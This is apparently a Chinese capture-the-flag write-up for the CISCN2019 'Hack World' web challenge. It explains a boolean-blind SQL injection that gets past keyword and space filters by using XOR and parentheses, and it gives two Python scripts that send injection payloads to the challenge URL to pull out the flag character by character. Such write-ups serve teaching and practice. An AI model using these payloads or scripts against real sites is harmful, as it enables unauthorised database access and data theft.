当前位置: 代码迷 >> 综合 >> [CISCN2019 华北赛区 Day2 Web1]Hack World题解
  详细解决方案

[CISCN2019 华北赛区 Day2 Web1]Hack World题解

热度:99   发布时间:2023-11-25 14:40:15.0

[CISCN2019 华北赛区 Day2 Web1]Hack World题解

判断类型

在这里插入图片描述
进入页面很明显就是考sql注入,与此同时页面直接告诉你表面和列名均是flag,直接开始注入,常用的注入函数均被过滤,直接fuzz爆破,查看被过滤的具体情况

结果确定此题为sql中的布尔盲注(post传参),也同时发现一个问题,请求过快时,会被过滤掉请求
在这里插入图片描述

确认绕过方法

因为or被过滤,百度一波后,发现可以使用^异或来绕过

异或:相同为假,相异为真,简单来说就是
1^1=0 0^0=0  1^0=1

空格也被过滤,因此paload为:

0^(if((ascii(substr((select(flag)from(flag)),0,1))<60),1,0))小tips:if((ascii(substr((select(flag)from(flag)),0,1))<60),1,0)也可以直接绕过,原因就是式子结果为1/0

脚本爆破

简简单单使用二分法即可完成

import requests
import time
def a():url="http://46862f0e-cd65-4a15-99f3-7641926bfb7f.node4.buuoj.cn:81/index.php"flag="Hello, glzjin wants a girlfriend."final=""for i in range(0,100):low = 33height = 130while(low < height):mid = int((low+height)/2)data={"id":"0^(if((ascii(substr((select(flag)from(flag)),%d,1))>%d),1,0))" %(i,mid)}re = requests.post(url=url,data=data).texttime.sleep(0.3) #延迟0.3秒即可解决请求过快问题if flag in re:low = mid + 1else:height = mid final+=chr(low)print("\n",final)if __name__ == '__main__':a()

在这里插入图片描述考虑到这题也必须看题解的小伙伴可能脚本也还不熟悉,这里给出直接无脑爆破的版本,便于熟悉python脚本

import requests
import time
def bp():url="http://46862f0e-cd65-4a15-99f3-7641926bfb7f.node4.buuoj.cn:81/index.php"   #题目urlflag="Hello, glzjin wants a girlfriend."  #查询数据正确,页面显示的结果final=""for i in range(0,1000):for j in range(32,129):data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)} #注入paloadre = requests.post(url=url,data=data).text #post方法请求页面time.sleep(0.3)  #延时请求0.3sif flag in re:    #输出结果final+=chr(j)print("\n",final)breakif __name__ == '__main__':bp()

python requests库可以参考:
https://www.cnblogs.com/mzc1997/p/7813801.html

  相关解决方案